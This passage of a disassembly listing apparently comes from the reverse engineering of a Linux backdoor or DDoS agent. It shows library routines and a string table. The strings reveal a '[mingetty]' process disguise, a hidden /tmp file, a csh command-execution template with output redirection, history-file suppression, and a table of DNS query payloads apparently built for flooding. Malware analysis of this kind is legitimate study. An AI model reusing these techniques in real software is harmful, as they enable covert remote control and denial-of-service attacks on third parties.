陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806719C proc near ; DATA XREF: .data:080792A8o push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_806719C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80671A4 proc near ; CODE XREF: sub_8067248+45p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_8] mov edx, [ebp+arg_4] mov ebx, [edx] call sub_805E954 test ebx, ebx jnz short loc_806721A mov eax, [edi] cmp eax, 1 jz short loc_80671D4 cmp eax, 2 jnz short loc_806721A mov eax, 1 jmp short loc_806723E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80671D4: ; CODE XREF: sub_80671A4+1Fj push esi call malloc mov ebx, eax mov edx, [ebp+arg_4] mov [edx], ebx add esp, 4 test ebx, ebx jnz short loc_8067210 push offset aOutOfMemory_3 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call catgets push eax push offset aXdr_referenceS ; "xdr_reference: %s\n" push offset unk_80787A4 call fprintf xor eax, eax jmp short loc_806723E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067210: ; CODE XREF: sub_80671A4+42j push esi push ebx call sub_806626C add esp, 8 loc_806721A: ; CODE XREF: sub_80671A4+18j ; sub_80671A4+24j push 0FFFFFFFFh push ebx push edi mov edx, [ebp+arg_C] call edx mov esi, eax add esp, 0Ch cmp dword ptr [edi], 2 jnz short loc_806723C push ebx call free mov edx, [ebp+arg_4] mov dword ptr [edx], 0 loc_806723C: ; CODE XREF: sub_80671A4+87j mov eax, esi loc_806723E: ; CODE XREF: sub_80671A4+2Bj ; sub_80671A4+6Aj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80671A4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067248 proc near ; CODE XREF: sub_8066710+25p ; sub_8066754+25p var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 4 push edi push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov edi, [ebp+arg_C] cmp dword ptr [ebx], 0 setnz al and eax, 0FFh mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push esi call sub_8065098 add esp, 8 test eax, eax jnz short loc_8067280 xor eax, eax jmp short loc_806729F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067280: ; CODE XREF: sub_8067248+2Fj cmp [ebp+var_4], 0 jz short loc_8067294 push edi mov edx, [ebp+arg_8] push edx push ebx push esi call sub_80671A4 jmp short loc_806729F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067294: ; CODE XREF: sub_8067248+3Cj mov dword ptr [ebx], 0 mov eax, 1 loc_806729F: ; CODE XREF: sub_8067248+33j ; sub_8067248+4Aj lea esp, [ebp+var_10] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8067248 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80672AC proc near ; CODE XREF: sub_8066B1C+88p var_28 = dword ptr -28h var_24 = byte ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h push ebx mov edx, [ebp+arg_0] mov ebx, __errno lea eax, [ebp+var_24] push eax push edx call sub_80672E0 test eax, eax setz al and eax, 0FFh mov __errno, ebx mov ebx, [ebp+var_28] mov esp, ebp pop ebp retn sub_80672AC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80672E0 proc near ; CODE XREF: sub_80672AC+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push 5401h push edx call ioctl mov esp, ebp pop ebp retn sub_80672E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 7 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067300 proc near ; CODE XREF: sub_8066BFC+14Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, eax sub eax, 4 lea esi, [esi] loc_8067310: ; CODE XREF: sub_8067300+3Bj add eax, 4 mov dl, [eax+ecx] mov [eax], dl test dl, dl jz short loc_8067340 mov dl, [eax+ecx+1] mov [eax+1], dl test dl, dl jz short loc_806733F mov dl, [eax+ecx+2] mov [eax+2], dl test dl, dl jz short loc_806733E mov dl, [eax+ecx+3] mov [eax+3], dl test dl, dl jnz short loc_8067310 inc eax loc_806733E: ; CODE XREF: sub_8067300+30j inc eax loc_806733F: ; CODE XREF: sub_8067300+25j inc eax loc_8067340: ; CODE XREF: sub_8067300+1Aj mov esp, ebp pop ebp retn sub_8067300 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8067344 proc near ; CODE XREF: sub_8062714+6Bp ; sub_8062714+B3p ... var_30 = byte ptr -30h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov [ebp+var_1C], eax mov edi, [ebp+arg_C] mov [ebp+var_4], ebx mov ebx, esi test edi, edi jnz short loc_80673A8 cmp eax, ebx jbe short loc_8067378 mov eax, [ebp+var_4] mov edx, ebx div [ebp+var_1C] mov edi, eax jmp loc_8067434 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067378: ; CODE XREF: sub_8067344+23j cmp [ebp+var_1C], 0 jnz short loc_806738D mov edx, 1 mov eax, edx xor edx, edx div [ebp+var_1C] mov [ebp+var_1C], eax loc_806738D: ; CODE XREF: sub_8067344+38j mov eax, ebx xor edx, edx div [ebp+var_1C] mov ebx, edx mov esi, eax mov eax, [ebp+var_4] div [ebp+var_1C] mov edi, eax jmp loc_8067436 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80673A8: ; CODE XREF: sub_8067344+1Fj cmp edi, ebx jbe short loc_80673B4 loc_80673AC: ; CODE XREF: sub_8067344+87j xor edi, edi jmp loc_8067434 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80673B4: ; CODE XREF: sub_8067344+66j bsr edx, edi xor dl, 1Fh mov [ebp+var_24], edx test edx, edx jnz short loc_80673D4 cmp ebx, edi ja short loc_80673CD mov edx, [ebp+var_1C] cmp [ebp+var_4], edx jb short loc_80673AC loc_80673CD: ; CODE XREF: sub_8067344+7Fj mov edi, 1 jmp short loc_8067434 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80673D4: ; CODE XREF: sub_8067344+7Bj mov esi, 20h sub esi, [ebp+var_24] mov ecx, [ebp+var_24] shl edi, cl mov [ebp+var_8], edi mov eax, [ebp+var_1C] mov ecx, esi shr eax, cl or edi, eax mov ecx, [ebp+var_24] shl [ebp+var_1C], cl mov eax, ebx mov ecx, esi shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_24] shl ebx, cl mov [ebp+var_10], ebx mov eax, [ebp+var_4] mov ecx, esi shr eax, cl or ebx, eax mov ecx, [ebp+var_24] shl [ebp+var_4], cl mov eax, ebx mov edx, [ebp+var_C] div edi mov ebx, edx mov edi, eax mov eax, [ebp+var_1C] mul edi mov [ebp+var_24], edx mov esi, eax cmp edx, ebx ja short loc_8067433 jnz short loc_8067434 cmp [ebp+var_4], esi jnb short loc_8067434 loc_8067433: ; CODE XREF: sub_8067344+E6j dec edi loc_8067434: ; CODE XREF: sub_8067344+2Fj ; sub_8067344+6Aj ... xor esi, esi loc_8067436: ; CODE XREF: sub_8067344+5Cj mov [ebp+var_18], edi mov [ebp+var_14], esi mov eax, [ebp+var_18] mov edx, [ebp+var_14] lea esp, [ebp+var_30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8067344 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806744C proc near ; CODE XREF: sub_8062714+4Fp ; sub_8062714+97p ... var_34 = byte ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push edi push esi push ebx mov edi, [ebp+arg_8] mov ebx, [ebp+arg_C] mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_20], eax test ebx, ebx jnz short loc_80674A8 cmp edi, eax jbe short loc_8067478 mov eax, esi mov edx, [ebp+var_20] div edi jmp short loc_8067497 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8067478: ; CODE XREF: sub_806744C+1Ej test edi, edi jnz short loc_8067489 mov edx, 1 mov eax, edx xor edx, edx div edi mov edi, eax loc_8067489: ; CODE XREF: sub_806744C+2Ej mov eax, [ebp+var_20] xor edx, edx div edi mov [ebp+var_20], edx mov eax, esi div edi loc_8067497: ; CODE XREF: sub_806744C+27j mov esi, edx mov [ebp+var_10], esi mov [ebp+var_C], 0 jmp loc_806758C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80674A8: ; CODE XREF: sub_806744C+1Aj cmp [ebp+var_20], ebx jb short loc_80674CD bsr edx, ebx xor dl, 1Fh mov [ebp+var_14], edx test edx, edx jnz short loc_80674E8 cmp [ebp+var_20], ebx ja short loc_80674C3 cmp esi, edi jb short loc_80674CD loc_80674C3: ; CODE XREF: sub_806744C+71j mov edx, [ebp+var_20] sub esi, edi sbb edx, ebx mov [ebp+var_20], edx loc_80674CD: ; CODE XREF: sub_806744C+5Fj ; sub_806744C+75j mov [ebp+var_10], esi mov ecx, [ebp+var_20] mov [ebp+var_C], ecx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_8067598 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80674E8: ; CODE XREF: sub_806744C+6Cj mov edx, 20h sub edx, [ebp+var_14] mov [ebp+var_18], edx mov ecx, [ebp+var_14] shl ebx, cl mov [ebp+var_28], ebx mov eax, edi mov ecx, edx shr eax, cl or ebx, eax mov ecx, [ebp+var_14] shl edi, cl mov eax, [ebp+var_20] mov ecx, edx shr eax, cl mov [ebp+var_1C], eax mov eax, [ebp+var_20] mov ecx, [ebp+var_14] shl eax, cl mov [ebp+var_28], eax mov eax, esi mov ecx, edx shr eax, cl mov edx, [ebp+var_28] or edx, eax mov [ebp+var_20], edx mov ecx, [ebp+var_14] shl esi, cl mov eax, [ebp+var_20] mov edx, [ebp+var_1C] div ebx mov [ebp+var_20], edx mov [ebp+var_28], eax mul edi mov [ebp+var_24], edx mov [ebp+var_28], eax mov ecx, [ebp+var_20] cmp edx, ecx ja short loc_8067553 jnz short loc_8067563 cmp eax, esi jbe short loc_8067563 loc_8067553: ; CODE XREF: sub_806744C+FFj mov eax, [ebp+var_24] mov edx, [ebp+var_28] sub edx, edi sbb eax, ebx mov [ebp+var_28], edx mov [ebp+var_24], eax loc_8067563: ; CODE XREF: sub_806744C+101j ; sub_806744C+105j mov ecx, [ebp+var_20] sub esi, [ebp+var_28] sbb ecx, [ebp+var_24] mov [ebp+var_20], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_18] shl eax, cl mov ecx, [ebp+var_14] shr esi, cl mov [ebp+var_24], esi or eax, esi mov [ebp+var_10], eax mov eax, [ebp+var_20] shr eax, cl mov [ebp+var_C], eax loc_806758C: ; CODE XREF: sub_806744C+57j mov edx, [ebp+var_10] mov [ebp+var_8], edx mov edx, [ebp+var_C] mov [ebp+var_4], edx loc_8067598: ; CODE XREF: sub_806744C+96j mov eax, [ebp+var_8] mov edx, [ebp+var_4] lea esp, [ebp+var_34] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806744C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: hidden sub_80675A8 proc near ; CODE XREF: _init_procp push ebx mov ebx, offset dword_80792AC cmp ds:dword_80792AC, 0FFFFFFFFh jz short loc_80675C4 nop loc_80675B8: ; CODE XREF: sub_80675A8+1Aj mov eax, [ebx] call eax add ebx, 0FFFFFFFCh cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_80675B8 loc_80675C4: ; CODE XREF: sub_80675A8+Dj pop ebx retn sub_80675A8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) _text ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data __libc_subinit segment dword public 'CONST' use32 assume cs:__libc_subinit ;org 80675CCh off_80675CC dd offset sub_8056D3C ; DATA XREF: __libc_init+Co ; __libc_init+22o ... __libc_subinit ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure code _fini segment para public 'CODE' use32 assume cs:_fini ;org 80675D0h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: hidden _term_proc proc near ; DATA XREF: start+44o __libc_init+11o ... call sub_8048110 retn 0 _term_proc endp _fini ends ; 様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 ; Segment type: Pure data _rodata segment dword public 'CONST' use32 assume cs:_rodata ;org 80675D8h aMingetty db '[mingetty]',0 ; DATA XREF: main+76r main+7Dr ... aSlash db '/',0 ; DATA XREF: main+D8o null_byte db 0 ; DATA XREF: main+228r encode_input+Fr ... aTmp_hj237349 db '/tmp/.hj237349',0 ; DATA XREF: main+4BFo main+4E7o ... aBinCshFCS1S21 db '/bin/csh -f -c "%s" 1> %s 2>&1',0 ; DATA XREF: main+4CBo aRb db 'rb',0 ; DATA XREF: main+4E2o aTfojg db 'TfOjG',0 ; DATA XREF: main+8D6o unk_806761D db 0FFh ; ; DATA XREF: main+8EBo db 0FBh ; db 1 ; db 0 ; aSbinBinUsrSbin db '/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.',0 ; DATA XREF: main+93Co aPath db 'PATH',0 ; DATA XREF: main+941o aHistfile db 'HISTFILE',0 ; DATA XREF: main+94Eo aLinux db 'linux',0 ; DATA XREF: main+95Ao aTerm db 'TERM',0 ; DATA XREF: main+95Fo aSh db 'sh',0 ; DATA XREF: main+96Bo aBinSh db '/bin/sh',0 ; DATA XREF: main+970o aBinCshFCS db '/bin/csh -f -c "%s" ',0 ; DATA XREF: main+A06o aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: send_packet+97o ; sub_8049564+CDo ... db 8Dh ; db 36h ; 6 length_table dd 2 dup(15h), 14h, 2 dup(15h), 19h, 3 dup(14h) ; DATA XREF: sub_8049174+33o ; sub_8049564+57o payload_table db 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3, 63h, 6Fh, 6Dh ; DATA XREF: sub_8049174+50o ; sub_8049564+6Ao db 2 dup(0), 6, 0, 1, 1Dh dup(0), 47h, 6Eh, 1, 2 dup(0) db 1, 6 dup(0), 3, 6Eh, 65h, 74h, 2 dup(0), 6, 0, 1, 1Dh dup(0) db 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3, 64h, 65h, 2 dup(0) db 6, 0, 1, 1Eh dup(0), 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0) db 3, 65h, 64h, 75h, 2 dup(0), 6, 0, 1, 1Dh dup(0), 47h db 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3, 6Fh, 72h, 67h, 2 dup(0) db 6, 0, 1, 1Dh dup(0), 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0) db 3, 75h, 73h, 63h, 3, 65h, 64h, 75h, 2 dup(0), 6, 0 db 1, 19h dup(0), 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3 db 65h, 73h, 2 dup(0), 6, 0, 1, 1Eh dup(0), 47h, 6Eh, 1 db 2 dup(0), 1, 6 dup(0), 3, 67h, 72h, 2 dup(0), 6, 0 db 1, 1Eh dup(0), 47h, 6Eh, 1, 2 dup(0), 1, 6 dup(0), 3 db 69h, 65h, 2 dup(0), 6, 0, 1, 50h dup(0) aU_U_U_U db '%u.%u.%u.%u',0 ; DATA XREF: sub_8049D40+2C8o aC db '%c',0 ; DATA XREF: encode_input+1Fo aCS db '%c%s',0 ; DATA XREF: decode_input+9Bo aGethostby_ge_1 db 'gethostby*.getanswer: asked for "%s", got "%s"',0 ; DATA XREF: getanswer+48Eo aResolv_host_co db 'RESOLV_HOST_CONF',0 ; DATA XREF: init_services_resolv+1Do aEtcHost_conf db '/etc/host.conf',0 ; DATA XREF: init_services_resolv+34o aR db 'r',0 ; DATA XREF: init_services_resolv+3Eo ; sub_804C538+Co ... aOrder db 'order',0 ; DATA XREF: init_services_resolv+125o ; init_services_resolv+183o ... asc_806791B db ' ',9,0 ; DATA XREF: init_services_resolv+163o ; init_services_resolv+3CCo ... aResolvSSComman db 'resolv+: %s: "%s" command incorrectly formatted.',0Ah,0 ; DATA XREF: init_services_resolv+18Fo ; init_services_resolv+298o ... asc_8067950 db ' ,;:',0 ; DATA XREF: init_services_resolv+1AFo ; init_services_resolv+A77o ... aBind db 'bind',0 ; DATA XREF: init_services_resolv+1C8o ; init_services_resolv+2ECo ... aHosts db 'hosts',0 ; DATA XREF: init_services_resolv+216o ; init_services_resolv+2E7o ... aNis db 'nis',0 ; DATA XREF: init_services_resolv+252o ; init_services_resolv+2E2o ... aResolvSIsAnInv db 'resolv+: "%s" is an invalid keyword',0Ah,0 ; DATA XREF: init_services_resolv+2BDo ; init_services_resolv+8B5o ... aResolvValidKey db 'resolv+: valid keywords are: %s, %s and %s',0Ah,0 ; DATA XREF: init_services_resolv+2F1o aResolvSearchOr db 'resolv+: search order not specified or unrecognized keyword,' ; DATA XREF: init_services_resolv+35Fo db ' host resolution will fail.',0Ah,0 aMulti db 'multi',0 ; DATA XREF: init_services_resolv+38Eo ; init_services_resolv+4B8o ... aOn db 'on',0 ; DATA XREF: init_services_resolv+432o ; init_services_resolv+576o ... aOff db 'off',0 ; DATA XREF: init_services_resolv+47Fo ; init_services_resolv+5C3o ... aNospoof db 'nospoof',0 ; DATA XREF: init_services_resolv+4D2o ; init_services_resolv+5FCo ... aAlert db 'alert',0 ; DATA XREF: init_services_resolv+616o ; init_services_resolv+740o ... aReorder db 'reorder',0 ; DATA XREF: init_services_resolv+75Ao ; init_services_resolv+884o ... aTrim db 'trim',0 ; DATA XREF: init_services_resolv+8F2o ; init_services_resolv+9B8o aResolv_serv_or db 'RESOLV_SERV_ORDER',0 ; DATA XREF: init_services_resolv+A5Eo aResolv_spoof_c db 'RESOLV_SPOOF_CHECK',0 ; DATA XREF: init_services_resolv+B6Ao aWarn db 'warn',0 ; DATA XREF: init_services_resolv+B83o aWarnOff db 'warn off',0 ; DATA XREF: init_services_resolv+C06o aResolv_multi db 'RESOLV_MULTI',0 ; DATA XREF: init_services_resolv+C4Eo aResolv_reorder db 'RESOLV_REORDER',0 ; DATA XREF: init_services_resolv+CA2o aResolv_add_tri db 'RESOLV_ADD_TRIM_DOMAINS',0 ; DATA XREF: init_services_resolv+CF6o aResolv_overrid db 'RESOLV_OVERRIDE_TRIM_DOMAINS',0 ; DATA XREF: init_services_resolv+D77o aGethostby_geta db 'gethostby*.getanswer: asked for "%s", got CNAME for "%s"',0 ; DATA XREF: getanswer+263o aGethostby_ge_0 db 'gethostby*.getanswer: asked for type %d(%s), got %d(%s)',0 ; DATA XREF: getanswer+3B1o aSizeDTooBig db 'size (%d) too big',0Ah,0 ; DATA XREF: getanswer+55Fo aTooManyAddress db 'Too many addresses (%d)',0Ah,0 ; DATA XREF: getanswer+59Ao aHosts_byname db 'hosts.byname',0 ; DATA XREF: sub_804BEB0+6Co ; gethostbyname+22Eo ... aRes_searchFail db 'res_search failed',0Ah,0 ; DATA XREF: gethostbyname+15Do aU_U_U_U_inAddr db '%u.%u.%u.%u.in-addr.arpa',0 ; DATA XREF: gethostbyaddr+AEo aRes_queryFaile db 'res_query failed',0Ah,0 ; DATA XREF: gethostbyaddr+E3o aResolv db 'resolv',0 ; DATA XREF: gethostbyaddr+202o aGethostbyaddrS db 'gethostbyaddr: %s != %u.%u.%u.%u, possible spoof attempt',0 ; DATA XREF: gethostbyaddr+225o aU_U_U_U_0 db '%u.%u.%u.%u',0 ; DATA XREF: gethostbyaddr+2B6o aHosts_byaddr db 'hosts.byaddr',0 ; DATA XREF: gethostbyaddr+2C1o asc_8067BFB db '#',0Ah,0 ; DATA XREF: sub_804C5A4+71o asc_8067BFE db '/&',0 ; DATA XREF: res_init+4E8o ; res_init+549o aLocaldomain db 'LOCALDOMAIN',0 ; DATA XREF: res_init+C0o aR_0 db 'r',0 ; DATA XREF: res_init+170o aEtcResolv_conf db '/etc/resolv.conf',0 ; DATA XREF: res_init+175o aDomain db 'domain',0 ; DATA XREF: res_init+1D3o asc_8067C27 db ' ',9,0Ah,0 ; DATA XREF: res_init+251o aSearch db 'search',0 ; DATA XREF: res_init+27Eo aNameserver db 'nameserver',0 ; DATA XREF: res_init+396o aSortlist db 'sortlist',0 ; DATA XREF: res_init+45Ao aOptions db 'options',0 ; DATA XREF: res_init+606o aConf db 'conf',0 ; DATA XREF: res_init+638o aRes_options db 'RES_OPTIONS',0 ; DATA XREF: res_init+6EEo aEnv db 'env',0 ; DATA XREF: res_init+701o aRes_setoptions db ';; res_setoptions("%s", "%s")...',0Ah,0 ; DATA XREF: res_setoptions+1Do aNdots db 'ndots:',0 ; DATA XREF: res_setoptions+3Do aNdotsD db ';;',9,'ndots=%d',0Ah,0 ; DATA XREF: res_setoptions+92o aDebug db 'debug',0 ; DATA XREF: res_setoptions+A6o aRes_setoptio_0 db ';; res_setoptions("%s", "%s")..',0Ah,0 ; DATA XREF: res_setoptions+C3o aDebug_0 db ';;',9,'debug',0Ah,0 ; DATA XREF: res_setoptions+D7o aRes_querySDD db ';; res_query(%s, %d, %d)',0Ah,0 ; DATA XREF: sub_804DFE0+4Fo aRes_queryMkque db ';; res_query: mkquery failed',0Ah,0 ; DATA XREF: sub_804DFE0+8Do aRes_querySendE db ';; res_query: send error',0Ah,0 ; DATA XREF: sub_804DFE0+CFo aRcodeDAncountD db ';; rcode = %d, ancount=%d',0Ah,0 ; DATA XREF: sub_804DFE0+119o aNil db '',0 ; DATA XREF: sub_804E398+57o aRes_querydomai db ';; res_querydomain(%s, %s, %d, %d)',0Ah,0 ; DATA XREF: sub_804E398+5Eo ; static a_S(void) a_S__S db '%.*s.%.*s',0 ; DATA XREF: sub_804E398+C0o aHostaliases db 'HOSTALIASES',0 ; DATA XREF: sub_804E490+19o aR_1 db 'r',0 ; DATA XREF: sub_804E490+2Eo aRes_sendSS_US db 'res_send: %s ([%s].%u): %s',0Ah,0 ; DATA XREF: sub_804E638+3Fo aRes_sendSS db 'res_send: %s: %s',0Ah,0 ; DATA XREF: sub_804E694+26o aRes_send db ';; res_send()',0Ah,0 ; DATA XREF: sub_804EA0C+47o aQueryingServer db ';; Querying server (# %d) address = %s',0Ah,0 ; DATA XREF: sub_804EA0C+18Eo aSocketVc db 'socket(vc)',0 ; DATA XREF: sub_804EA0C+AA5o aConnectVc db 'connect/vc',0 ; DATA XREF: sub_804EA0C+24Co aWriteFailed db 'write failed',0 ; DATA XREF: sub_804EA0C+2CAo aReadFailed db 'read failed',0 ; DATA XREF: sub_804EA0C+346o aResponseTrunca db ';; response truncated',0Ah,0 ; DATA XREF: sub_804EA0C+3B3o aReadVc db 'read(vc)',0 ; DATA XREF: sub_804EA0C+438o aSocketDg db 'socket(dg)',0 ; DATA XREF: sub_804EA0C+AC4o aConnectDg db 'connect(dg)',0 ; DATA XREF: sub_804EA0C+550o aSend db 'send',0 ; DATA XREF: sub_804EA0C+58Do aSendto db 'sendto',0 ; DATA XREF: sub_804EA0C+63Bo aSelect db 'select',0 ; DATA XREF: sub_804EA0C+6FBo aTimeout db ';; timeout',0Ah,0 ; DATA XREF: sub_804EA0C+715o aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_804EA0C+782o aOldAnswer db ';; old answer:',0Ah,0 ; DATA XREF: sub_804EA0C+7D4o aNotOurServer db ';; not our server:',0Ah,0 ; DATA XREF: sub_804EA0C+82Ao aWrongQueryName db ';; wrong query name:',0Ah,0 ; DATA XREF: sub_804EA0C+877o aServerRejected db 'server rejected query:',0Ah,0 ; DATA XREF: sub_804EA0C+8C2o aTruncatedAnswe db ';; truncated answer',0Ah,0 ; DATA XREF: sub_804EA0C+925o aGotAnswer db ';; got answer:',0Ah,0 ; DATA XREF: sub_804EA0C+966o unk_8067EE3 db 0 ; ; DATA XREF: sub_804EA0C+98Ao aNull db '(null)',0 ; DATA XREF: vfprintf+12CCo ; vfprintf+2D10o unk_8067EEB db 0 ; ; DATA XREF: vfprintf+12E0o ; vfprintf+2D24o aNil_0 db '(nil)',0 ; DATA XREF: vfprintf+1464o ; vfprintf+2EE4o aN6 db '6',0 